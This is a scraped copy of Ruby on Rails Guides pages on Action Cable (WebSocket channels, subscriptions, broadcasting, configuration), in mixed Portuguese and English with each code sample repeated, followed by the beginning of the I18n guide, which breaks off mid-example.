# app/channels/application_cable/connection.rb module ApplicationCable class Connection < ActionCable::Connection::Base rescue_from StandardError, with: :report_error private def report_error(e) SomeExternalBugtrackingService.notify(e) end end end Copiar

4.2 Channels

O channel encapsula uma unidade lógica de trabalho, parecido com o que um controller faz em um MVC comum. Por padrão, o Rails cria uma classe pai ApplicationCable::Channel (que estende ActionCable::Channel::Base) para encapsular a lógica compartilhada entre seus channels.

4.2.1 Configuração do Channel pai

# app/channels/application_cable/channel.rb
module ApplicationCable
class Channel < ActionCable::Channel::Base
end
end

# app/channels/application_cable/channel.rb module ApplicationCable class Channel < ActionCable::Channel::Base end end Copiar

Então, você criaria suas próprias classes de channel. Por exemplo, você poderia ter um ChatChannel e um AppearanceChannel:

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
end

# app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel end Copiar

# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
end

# app/channels/appearance_channel.rb class AppearanceChannel < ApplicationCable::Channel end Copiar

Um consumer poderia então ser inscrito para qualquer ou ambos os channels.

4.2.2 Subscriptions

Consumers se inscrevem a channels, agindo como subscribers. A connection deles é chamada de subscription. Mensagens produzidas são então roteadas para esses channel subscriptions baseados em um identificador enviado pelo channel consumer.

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
# Chamado quando o *consumer* tornou-se um *subscriber*
# desse *channel* com sucesso.
def subscribed
end
end

# app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel # Chamado quando o *consumer* tornou-se um *subscriber* # desse *channel* com sucesso. def subscribed end end Copiar

4.2.3 Lidando com Exceções

Tal como acontece com ApplicationCable::Connection, você também pode usar rescue_from em um canal específico para lidar com exceções levantadas:

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
rescue_from 'MyError', with: :deliver_error_message

private

def deliver_error_message(e)
broadcast_to(...)
end
end

# app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel rescue_from 'MyError', with: :deliver_error_message private def deliver_error_message(e) broadcast_to(...) end end Copiar

5 Componentes Client-Side

5.1 Conexões

Consumidores precisam de uma instância da conexão do seu lado. Esta conexão pode ser estabelecida usando o seguinte JavaScript, que é gerado por padrão pelo Rails:

5.1.1 Conectar o Consumidor

// app/javascript/channels/consumer.js
// Action Cable provides the framework to deal with WebSockets in Rails.
// You can generate new channels where WebSocket features live using the `bin/rails generate channel` command.

import { createConsumer } from "@rails/actioncable"

export default createConsumer()

// app/javascript/channels/consumer.js // Action Cable provides the framework to deal with WebSockets in Rails. // You can generate new channels where WebSocket features live using the `bin/rails generate channel` command. import { createConsumer } from "@rails/actioncable" export default createConsumer() Copiar

Isto vai preparar um consumidor que conectará em /cable em seu servidor por padrão. A conexão não vai ser estabelecida até que você também tenha especificado ao menos uma inscrição que você tem interesse em ter.

O consumidor pode optar receber um argumento que especifica a URL para se conectar. Ela pode ser uma string, ou uma função que retorna uma string que vai ser chamada quando o WebSocket é aberto.

// Especifica uma _URL_ diferente para se conectar
createConsumer('https://ws.example.com/cable')

// Utiliza uma função para gerar a _URL_ dinamicamente
createConsumer(getWebSocketURL)

function getWebSocketURL {
const token = localStorage.get('auth-token')
return `https://ws.example.com/cable?token=${token}`
}

// Especifica uma _URL_ diferente para se conectar createConsumer('https://ws.example.com/cable') // Utiliza uma função para gerar a _URL_ dinamicamente createConsumer(getWebSocketURL) function getWebSocketURL { const token = localStorage.get('auth-token') return `https://ws.example.com/cable?token=${token}` } Copiar

5.1.2 Assinante

Um consumidor se torna um assinante criando uma assinatura para um canal:

// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" })

// app/javascript/channels/appearance_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "AppearanceChannel" })

// app/javascript/channels/chat_channel.js import consumer from "./consumer" consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }) // app/javascript/channels/appearance_channel.js import consumer from "./consumer" consumer.subscriptions.create({ channel: "AppearanceChannel" }) Copiar

Enquanto isto cria uma assinatura, a funcionalidade necessária para responder aos dados recebidos será descrita mais tarde.

Um consumidor pode agir como um assinante para um dado canal qualquer número de vezes. Por exemplo, um consumidor pode assinar várias salas de chat ao mesmo tempo.

// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "1st Room" })
consumer.subscriptions.create({ channel: "ChatChannel", room: "2nd Room" })

// app/javascript/channels/chat_channel.js import consumer from "./consumer" consumer.subscriptions.create({ channel: "ChatChannel", room: "1st Room" }) consumer.subscriptions.create({ channel: "ChatChannel", room: "2nd Room" }) Copiar

6 Client-Server Interactions

6.1 Streams

Streams provide the mechanism by which channels route published content (broadcasts) to their subscribers. For example, the following code uses stream_from to subscribe to the broadcasting named chat_Best Room when the value of the :room parameter is "Best Room":

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end

# app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel def subscribed stream_from "chat_#{params[:room]}" end end Copiar

Then, elsewhere in your Rails application, you can broadcast to such a room by calling broadcast:

ActionCable.server.broadcast("chat_Best Room", { body: "This Room is Best Room." })

ActionCable.server.broadcast("chat_Best Room", { body: "This Room is Best Room." }) Copiar

If you have a stream that is related to a model, then the broadcasting name can be generated from the channel and model. For example, the following code uses stream_for to subscribe to a broadcasting like comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE, where Z2lkOi8vVGVzdEFwcC9Qb3N0LzE is the GlobalID of the Post model.

class CommentsChannel < ApplicationCable::Channel
def subscribed
post = Post.find(params[:id])
stream_for post
end
end

class CommentsChannel < ApplicationCable::Channel def subscribed post = Post.find(params[:id]) stream_for post end end Copiar

You can then broadcast to this channel by calling broadcast_to:

CommentsChannel.broadcast_to(@post, @comment)

CommentsChannel.broadcast_to(@post, @comment) Copiar

6.2 Broadcastings

A broadcasting is a pub/sub link where anything transmitted by a publisher is routed directly to the channel subscribers who are streaming that named broadcasting. Each channel can be streaming zero or more broadcastings.

Broadcastings are purely an online queue and time-dependent. If a consumer is not streaming (subscribed to a given channel), they'll not get the broadcast should they connect later.

6.3 Subscriptions

When a consumer is subscribed to a channel, they act as a subscriber. This connection is called a subscription. Incoming messages are then routed to these channel subscriptions based on an identifier sent by the cable consumer.

// app/javascript/channels/chat_channel.js
// Assumes you've already requested the right to send web notifications
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
received(data) {
this.appendLine(data)
},

appendLine(data) {
const html = this.createLine(data)
const element = document.querySelector("[data-chat-room='Best Room']")
element.insertAdjacentHTML("beforeend", html)
},

createLine(data) {
return `
<article class="chat-line">
<span class="speaker">${data["sent_by"]}</span>
<span class="body">${data["body"]}</span>
</article>
`
}
})

// app/javascript/channels/chat_channel.js // Assumes you've already requested the right to send web notifications import consumer from "./consumer" consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, { received(data) { this.appendLine(data) }, appendLine(data) { const html = this.createLine(data) const element = document.querySelector("[data-chat-room='Best Room']") element.insertAdjacentHTML("beforeend", html) }, createLine(data) { return ` <article class="chat-line"> <span class="speaker">${data["sent_by"]}</span> <span class="body">${data["body"]}</span> </article> ` } }) Copiar

6.4 Passing Parameters to Channels

You can pass parameters from the client side to the server side when creating a subscription. For example:

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end

# app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel def subscribed stream_from "chat_#{params[:room]}" end end Copiar

An object passed as the first argument to subscriptions.create becomes the params hash in the cable channel. The keyword channel is required:

// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
received(data) {
this.appendLine(data)
},

appendLine(data) {
const html = this.createLine(data)
const element = document.querySelector("[data-chat-room='Best Room']")
element.insertAdjacentHTML("beforeend", html)
},

createLine(data) {
return `
<article class="chat-line">
<span class="speaker">${data["sent_by"]}</span>
<span class="body">${data["body"]}</span>
</article>
`
}
})

// app/javascript/channels/chat_channel.js import consumer from "./consumer" consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, { received(data) { this.appendLine(data) }, appendLine(data) { const html = this.createLine(data) const element = document.querySelector("[data-chat-room='Best Room']") element.insertAdjacentHTML("beforeend", html) }, createLine(data) { return ` <article class="chat-line"> <span class="speaker">${data["sent_by"]}</span> <span class="body">${data["body"]}</span> </article> ` } }) Copiar

# Somewhere in your app this is called, perhaps
# from a NewCommentJob.
ActionCable.server.broadcast(
"chat_#{room}",
{
sent_by: 'Paul',
body: 'This is a cool chat app.'
}
)

# Somewhere in your app this is called, perhaps # from a NewCommentJob. ActionCable.server.broadcast( "chat_#{room}", { sent_by: 'Paul', body: 'This is a cool chat app.' } ) Copiar

6.5 Rebroadcasting a Message

A common use case is to rebroadcast a message sent by one client to any other connected clients.

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end

def receive(data)
ActionCable.server.broadcast("chat_#{params[:room]}", data)
end
end

# app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel def subscribed stream_from "chat_#{params[:room]}" end def receive(data) ActionCable.server.broadcast("chat_#{params[:room]}", data) end end Copiar

// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

const chatChannel = consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
received(data) {
// data => { sent_by: "Paul", body: "This is a cool chat app." }
}
}

chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })

// app/javascript/channels/chat_channel.js import consumer from "./consumer" const chatChannel = consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, { received(data) { // data => { sent_by: "Paul", body: "This is a cool chat app." } } } chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." }) Copiar

The rebroadcast will be received by all connected clients, including the client that sent the message. Note that params are the same as they were when you subscribed to the channel.

7 Full-Stack Examples

The following setup steps are common to both examples:

1. Setup your connection.

2. Setup your parent channel.

3. Connect your consumer.

7.1 Example 1: User Appearances

Here's a simple example of a channel that tracks whether a user is online or not and what page they're on. (This is useful for creating presence features like showing a green dot next to a user name if they're online).

Create the server-side appearance channel:

# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
def subscribed
current_user.appear
end

def unsubscribed
current_user.disappear
end

def appear(data)
current_user.appear(on: data['appearing_on'])
end

def away
current_user.away
end
end

# app/channels/appearance_channel.rb class AppearanceChannel < ApplicationCable::Channel def subscribed current_user.appear end def unsubscribed current_user.disappear end def appear(data) current_user.appear(on: data['appearing_on']) end def away current_user.away end end Copiar

When a subscription is initiated the subscribed callback gets fired and we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by Redis, a database, or whatever else.

Create the client-side appearance channel subscription:

// app/javascript/channels/appearance_channel.js
import consumer from "./consumer"

consumer.subscriptions.create("AppearanceChannel", {
// Called once when the subscription is created.
initialized() {
this.update = this.update.bind(this)
},

// Called when the subscription is ready for use on the server.
connected() {
this.install()
this.update()
},

// Called when the WebSocket connection is closed.
disconnected() {
this.uninstall()
},

// Called when the subscription is rejected by the server.
rejected() {
this.uninstall()
},

update() {
this.documentIsActive ? this.appear() : this.away()
},

appear() {
// Calls `AppearanceChannel#appear(data)` on the server.
this.perform("appear", { appearing_on: this.appearingOn })
},

away() {
// Calls `AppearanceChannel#away` on the server.
this.perform("away")
},

install() {
window.addEventListener("focus", this.update)
window.addEventListener("blur", this.update)
document.addEventListener("turbolinks:load", this.update)
document.addEventListener("visibilitychange", this.update)
},

uninstall() {
window.removeEventListener("focus", this.update)
window.removeEventListener("blur", this.update)
document.removeEventListener("turbolinks:load", this.update)
document.removeEventListener("visibilitychange", this.update)
},

get documentIsActive() {
return document.visibilityState == "visible" && document.hasFocus()
},

get appearingOn() {
const element = document.querySelector("[data-appearing-on]")
return element ? element.getAttribute("data-appearing-on") : null
}
})

// app/javascript/channels/appearance_channel.js import consumer from "./consumer" consumer.subscriptions.create("AppearanceChannel", { // Called once when the subscription is created. initialized() { this.update = this.update.bind(this) }, // Called when the subscription is ready for use on the server. connected() { this.install() this.update() }, // Called when the WebSocket connection is closed. disconnected() { this.uninstall() }, // Called when the subscription is rejected by the server. rejected() { this.uninstall() }, update() { this.documentIsActive ? this.appear() : this.away() }, appear() { // Calls `AppearanceChannel#appear(data)` on the server. this.perform("appear", { appearing_on: this.appearingOn }) }, away() { // Calls `AppearanceChannel#away` on the server. this.perform("away") }, install() { window.addEventListener("focus", this.update) window.addEventListener("blur", this.update) document.addEventListener("turbolinks:load", this.update) document.addEventListener("visibilitychange", this.update) }, uninstall() { window.removeEventListener("focus", this.update) window.removeEventListener("blur", this.update) document.removeEventListener("turbolinks:load", this.update) document.removeEventListener("visibilitychange", this.update) }, get documentIsActive() { return document.visibilityState == "visible" && document.hasFocus() }, get appearingOn() { const element = document.querySelector("[data-appearing-on]") return element ? element.getAttribute("data-appearing-on") : null } }) Copiar

7.1.1 Client-Server Interaction

1. Client connects to the Server via App.cable = ActionCable.createConsumer("ws://cable.example.com"). (cable.js). The Server identifies this connection by current_user.

2. Client subscribes to the appearance channel via consumer.subscriptions.create({ channel: "AppearanceChannel" }). (appearance_channel.js)

3. Server recognizes a new subscription has been initiated for the appearance channel and runs its subscribed callback, calling the appear method on current_user. (appearance_channel.rb)

4. Client recognizes that a subscription has been established and calls connected (appearance_channel.js) which in turn calls install and appear. appear calls AppearanceChannel#appear(data) on the server, and supplies a data hash of { appearing_on: this.appearingOn }. This is possible because the server-side channel instance automatically exposes all public methods declared on the class (minus the callbacks), so that these can be reached as remote procedure calls via a subscription's perform method.

5. Server receives the request for the appear action on the appearance channel for the connection identified by current_user (appearance_channel.rb). Server retrieves the data with the :appearing_on key from the data hash and sets it as the value for the :on key being passed to current_user.appear.

7.2 Example 2: Receiving New Web Notifications

The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection. But the great thing about WebSockets is that it's a two-way street. So now let's show an example where the server invokes an action on the client.

This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the right streams:

Create the server-side web notifications channel:

# app/channels/web_notifications_channel.rb
class WebNotificationsChannel < ApplicationCable::Channel
def subscribed
stream_for current_user
end
end

# app/channels/web_notifications_channel.rb class WebNotificationsChannel < ApplicationCable::Channel def subscribed stream_for current_user end end Copiar

Create the client-side web notifications channel subscription:

// app/javascript/channels/web_notifications_channel.js
// Client-side which assumes you've already requested
// the right to send web notifications.
import consumer from "./consumer"

consumer.subscriptions.create("WebNotificationsChannel", {
received(data) {
new Notification(data["title"], body: data["body"])
}
})

// app/javascript/channels/web_notifications_channel.js // Client-side which assumes you've already requested // the right to send web notifications. import consumer from "./consumer" consumer.subscriptions.create("WebNotificationsChannel", { received(data) { new Notification(data["title"], body: data["body"]) } }) Copiar

Broadcast content to a web notification channel instance from elsewhere in your application:

# Somewhere in your app this is called, perhaps from a NewCommentJob
WebNotificationsChannel.broadcast_to(
current_user,
title: 'New things!',
body: 'All the news fit to print'
)

# Somewhere in your app this is called, perhaps from a NewCommentJob WebNotificationsChannel.broadcast_to( current_user, title: 'New things!', body: 'All the news fit to print' ) Copiar

The WebNotificationsChannel.broadcast_to call places a message in the current subscription adapter's pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be web_notifications:1.

The channel has been instructed to stream everything that arrives at web_notifications:1 directly to the client by invoking the received callback. The data passed as argument is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip across the wire and unpacked for the data argument arriving as received.

7.3 More Complete Examples

See the rails/actioncable-examples repository for a full example of how to set up Action Cable in a Rails app and adding channels.

8 Configuração

O Action Cable tem duas configurações necessárias: um adaptador de assinatura (subscription) e origens de requisição (request) permitidas.

8.1 Adaptador de assinatura

Por padrão, Action Cable procura um arquivo de configuração em config/cable.yml. O arquivo deve especificar um adaptador (adapter) para cada ambiente Rails. Veja o Dependências seção para obter informações adicionais sobre adaptadores.

development:
adapter: async

test:
adapter: async

production:
adapter: redis
url: redis://10.10.3.153:6381
channel_prefix: appname_production

development: adapter: async test: adapter: async production: adapter: redis url: redis://10.10.3.153:6381 channel_prefix: appname_production Copiar

8.1.1 Configuração do Adaptador (Adapter)

Abaixo está uma lista dos adaptadores de assinatura disponíveis para usuários finais.

8.1.1.1 Adaptador Async

O adaptador assíncrono destina-se ao desenvolvimento / teste e não deve ser usado em produção.

8.1.1.2 Adaptador Redis

O adaptador Redis requer que os usuários forneçam uma URL apontando para o servidor Redis. Além disso, um channel_prefix pode ser fornecido para evitar colisões de nome de canal ao usar o mesmo servidor Redis para vários aplicativos. Veja a Documentação Redis PubSub para mais detalhes.

8.1.1.3 Adaptador PostgreSQL

O adaptador PostgreSQL usa o pool de conexão do Active Record e, portanto, o configuração do banco de dados config/database.yml do aplicativo, para sua conexão. Isso pode mudar no futuro. #27214

8.2 Origens de Requisição Permitidas

Action Cable só aceitará requisições de origens especificadas, que são passado para a configuração do servidor como um array. As origens podem ser instâncias de strings ou expressões regulares, contra as quais uma verificação de correspondência será realizada.

config.action_cable.allowed_request_origins = ['https://rubyonrails.com', %r{http://ruby.*}]

config.action_cable.allowed_request_origins = ['https://rubyonrails.com', %r{http://ruby.*}] Copiar

Para desativar e permitir requisições de qualquer origem:

config.action_cable.disable_request_forgery_protection = true

config.action_cable.disable_request_forgery_protection = true Copiar

Por padrão, o Action Cable permite todas as requisições de localhost:3000 durante a execução no ambiente de desenvolvimento.

8.3 Configuração do Consumidor

Para configurar a URL, adicione uma chamada para action_cable_meta_tag em seu layout HTML HEAD. Isso usa uma URL ou caminho (path) normalmente definido via config.action_cable.url nos arquivos de configuração de ambiente.

8.4 Configuração do Worker Pool

O pool de workers é usado para executar retornos (callbacks) de conexão e ações de channel em isolamento da thread principal do servidor. Action Cable permite que a aplicação configure o número de threads processados simultaneamente no worker pool.

config.action_cable.worker_pool_size = 4

config.action_cable.worker_pool_size = 4 Copiar

Além disso, observe que seu servidor deve fornecer pelo menos o mesmo número de conexões de banco de dados que você tem de workers. O tamanho do worker pool de trabalho padrão é definido como 4, então isso significa que você deve disponibilizar pelo menos 4 conexões de banco de dados. Você pode mudar isso em config/database.yml através do atributo pool.

8.5 Log no lado do client

O log client side é desabilitado por padrão. Você pode habilitar essa configuração em ActionCable.logger.enable trocando para true.

import * as ActionCable from '@rails/actioncable'

ActionCable.logger.enabled = true

import * as ActionCable from '@rails/actioncable' ActionCable.logger.enabled = true Copiar

8.6 Outras Configurações

A outra opção comum de configurar são as tags de log aplicadas ao logger por conexão. Aqui está um exemplo que usa o ID da conta do usuário, se disponível, senão "sem conta" durante a marcação:

config.action_cable.log_tags = [
-> request { request.env['user_account_id'] || "no-account" },
:action_cable,
-> request { request.uuid }
]

config.action_cable.log_tags = [ -> request { request.env['user_account_id'] || "no-account" }, :action_cable, -> request { request.uuid } ] Copiar

Para obter uma lista completa de todas as opções de configuração, consulte o classe ActionCable::Server::Configuration.

9 Executando Servidores Cable Autônomos

9.1 Na Aplicação

O Action Cable pode ser executado junto com sua aplicação Rails. Por exemplo, para escutar as requisições WebSocket em /websocket, especifique esse caminho para config.action_cable.mount_path:

# config/application.rb
class Application < Rails::Application
config.action_cable.mount_path = '/websocket'
end

# config/application.rb class Application < Rails::Application config.action_cable.mount_path = '/websocket' end Copiar

Você pode usar ActionCable.createConsumer() para conectar ao cable server se action_cable_meta_tag for invocado no layout. Caso contrário, um caminho é especificado como primeiro argumento para createConsumer (e.g. ActionCable.createConsumer("/websocket")).

Para cada instância de seu servidor que você cria e para cada worker que seu servidor instancia, você também terá uma nova instância do Action Cable, mas o uso do Redis mantém as mensagens sincronizadas entre as conexões.

9.2 Autônomo

Os cable servers a cabo podem ser separados do servidor de aplicação normal. Este ainda é uma aplicação Rack, mas é sua própria aplicação Rack. O recomendado para a configuração básica é a seguinte:

# cable/config.ru
require_relative "../config/environment"
Rails.application.eager_load!

run ActionCable.server

# cable/config.ru require_relative "../config/environment" Rails.application.eager_load! run ActionCable.server Copiar

Então você inicia o servidor usando um binstub em bin/cable ala:

#!/bin/bash
bundle exec puma -p 28080 cable/config.ru

#!/bin/bash bundle exec puma -p 28080 cable/config.ru Copiar

O código irá iniciar um cable server na porta 28080.

9.3 Notas

O servidor WebSocket não tem acesso à sessão, mas tem acesso aos cookies. Isso pode ser usado quando você precisa lidar com autenticação. Você pode ver uma maneira de fazer isso com o Devise neste artigo.

10 Dependências

O Action Cable fornece uma interface de adaptador de assinatura para processar seus pubsub internos. Por padrão, adaptadores assíncronos, inline, PostgreSQL e Redis estão incluídos. O adaptador padrão em novas aplicações Rails é o adaptador assíncrono (async).

O lado Ruby das coisas é construído em cima de websocket-driver, nio4r e concurrent-ruby.

11 Implantação

O Action Cable é alimentado por uma combinação de WebSockets e threads. Tanto o plumbing do framework e o trabalho do channel especificado pelo usuário são tratados internamente, usando suporte de thread nativo do Ruby. Isso significa que você pode usar todos os seus models dos Rails sem problemas, contanto que você não tenha cometido nenhum pecado de thread-safety.

O servidor Action Cable implementa o Rack socket hijacking API, permitindo assim o uso de um padrão multithread para o gerenciamento de conexões internamente, independentemente de o servidor de aplicativos ser multiencadeado ou não.

Assim, Action Cable funciona com servidores populares como Unicorn, Puma e Passenger.

12 Teste

Você pode encontrar instruções detalhadas de como testar a sua funcionalidade Action Cable no guia de teste.

API de Internacionalização do Rails...

1 How I18n in Ruby on Rails Works

Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:

- providing support for English and similar languages out of the box

- making it easy to customize and extend everything for other languages

As part of this solution, every static string in the Rails framework - e.g. Active Record validation messages, time and date formats - has been internationalized. Localization of a Rails application means defining translated values for these strings in desired languages.

To localize store and update content in your application (e.g. translate blog posts), see the Translating model content section.

1.1 The Overall Architecture of the Library

Thus, the Ruby I18n gem is split into two parts:

- The public API of the i18n framework - a Ruby module with public methods that define how the library works

- A default backend (which is intentionally named Simple backend) that implements these methods

As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section Using different backends below.

1.2 The Public I18n API

The most important methods of the I18n API are:

translate # Lookup text translations
localize  # Localize Date and Time objects to local formats

translate # Lookup text translations localize # Localize Date and Time objects to local formats Copiar

These have the aliases #t and #l so you can use them like this:

I18n.t 'store.title'
I18n.l Time.now

I18n.t 'store.title' I18n.l Time.now Copiar

There are also attribute readers and writers for the following attributes:

load_path                 # Announce your custom translation files
locale                    # Get and set the current locale
default_locale            # Get and set the default locale
available_locales         # Permitted locales available for the application
enforce_available_locales # Enforce locale permission (true or false)
exception_handler         # Use a different exception_handler
backend                   # Use a different backend

load_path # Announce your custom translation files locale # Get and set the current locale default_locale # Get and set the default locale available_locales # Permitted locales available for the application enforce_available_locales # Enforce locale permission (true or false) exception_handler # Use a different exception_handler backend # Use a different backend Copiar

So, let's internationalize a simple Rails application from the ground up in the next chapters!

2 Setup the Rails Application for Internationalization

There are a few steps to get up and running with I18n support for a Rails application.

2.1 Configure the I18n Module

Following the convention over configuration philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden.

Rails adds all .rb and .yml files from the config/locales directory to the translations load path, automatically.

The default en.yml locale in this directory contains a sample pair of translation strings:

en:
hello: "Hello world"

en: hello: "Hello world" Copiar

This means, that in the :en locale, the key hello will map to the Hello world string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the activemodel/lib/active_model/locale/en.yml file or time and date formats in the activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.

The I18n library will use English as a default locale, i.e. if a different locale is not set, :en will be used for looking up translations.

The i18n library takes a pragmatic approach to locale keys (after some discussion), including only the locale ("language") part, like :en, :pl, not the region part, like :"en-US" or :"en-GB", which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as :cs, :th, or :es (for Czech, Thai, and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the :"en-US" locale you would have $ as a currency symbol, while in :"en-GB", you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a :"en-GB" dictionary.

The translations load path (I18n.load_path) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme.

The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced.

You can change the default locale as well as configure the translations load paths in config/application.rb as follows:

config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')]
config.i18n.default_locale = :de

config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')] config.i18n.default_locale = :de Copiar

The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of config/application.rb:

# config/initializers/locale.rb

# Where the I18n library should search for translation files
I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]

# Permitted locales available for the application
I18n.available_locales = [:en, :pt]

# Set default locale to something other than :en
I18n.default_locale = :pt

# config/initializers/locale.rb # Where the I18n library should search for translation files I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] # Permitted locales available for the application I18n.available_locales = [:en, :pt] # Set default locale to something other than :en I18n.default_locale = :pt Copiar

Note that appending directly to I18n.load_path instead of to the application's configured i18n will not override translations from external gems.

2.2 Managing the Locale across Requests

A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request.

The default locale is used for all translations unless I18n.locale= or I18n.with_locale is used.

I18n.locale can leak into subsequent requests served by the same thread/process if it is not consistently set in every controller. For example executing I18n.locale = :es in one POST requests will have effects for all later requests to controllers that don't set the locale, but only in that particular thread/process. For that reason, instead of I18n.locale = you can use I18n.with_locale which does not have this leak issue.

The locale can be set in an around_action in the ApplicationController:

around_action :switch_locale

def switch_locale(&action)
locale = params[:locale] || I18n.default_locale
I18n.with_locale(locale, &action)
end

around_action :switch_locale def switch_locale(&action) locale = params[:locale] || I18n.default_locale I18n.with_locale(locale, &action) end Copiar

This example illustrates this using a URL query parameter to set the locale (e.g. http://example.com/books?locale=pt). With this approach, http://localhost:3000?locale=pt renders the Portuguese localization, while http://localhost:3000?locale=de loads a German localization.

The locale can be set using one of many different approaches.

2.2.1 Setting the Locale from the Domain Name

One option you have is to set the locale from the domain name where your application runs. For example, we want www.example.com to load the English (or default) locale, and www.example.es to load the Spanish locale. Thus the top-level domain name is used for locale setting. This has several advantages:

- The locale is an obvious part of the URL.

- People intuitively grasp in which language the content will be displayed.

- It is very trivial to implement in Rails.

- Search engines seem to like that content in different languages lives at different, inter-linked domains.

You can implement it like this in your ApplicationController:

around_action :switch_locale

def switch_locale(&action)
locale = extract_locale_from_tld || I18n.default_locale
I18n.with_locale(locale, &action)
end

# Get locale from top-level domain or return +nil+ if such locale is not available
# You have to put something like:
#   127.0.0.1 application.com
#   127.0.0.1 application.it
#   127.0.0.1 application.pl
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
parsed_locale = request.host.split('.').last
I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end

around_action :switch_locale def switch_locale(&action) locale = extract_locale_from_tld || I18n.default_locale I18n.with_locale(locale, &action) end # Get locale from top-level domain or return +nil+ if such locale is not available # You have to put something like: # 127.0.0.1 application.com # 127.0.0.1 application.it # 127.0.0.1 application.pl # in your /etc/hosts file to try this out locally def extract_locale_from_tld parsed_locale = request.host.split('.').last I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil end Copiar

We can also set the locale from the subdomain in a very similar way:

# Get locale code from request subdomain (like http://it.application.local:3000)
# You have to put something like:
#   127.0.0.1 gr.application.local
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end

# Get locale code from request subdomain (like http://it.application.local:3000) # You have to put something like: # 127.0.0.1 gr.application.local # in your /etc/hosts file to try this out locally def extract_locale_from_subdomain parsed_locale = request.subdomains.first I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil end Copiar

If your application includes a locale switching menu, you would then have something like this in it:

link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")

link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}") Copiar

assuming you would set APP_CONFIG[:deutsch_website_url] to some value like http://www.application.de.

This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).

2.2.2 Setting the Locale from URL Params

The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the I18n.with_locale(params[:locale], &action) around_action in the first example. We would like to have URLs like www.example.com/books?locale=ja or www.example.com/ja/books in this case.

This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.

Getting the locale from params and setting it accordingly is not hard; including it in every URL and thus passing it through the requests is. To include an explicit option in every URL, e.g. link_to(books_url(locale: I18n.locale)), would be tedious and probably impossible, of course.

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its ApplicationController#default_url_options, which is useful precisely in this scenario: it enables us to set "defaults" for url_for and helper methods dependent on it (by implementing/overriding default_url_options).

We can include something like this in our ApplicationController then:

# app/controllers/application_controller.rb
def default_url_options
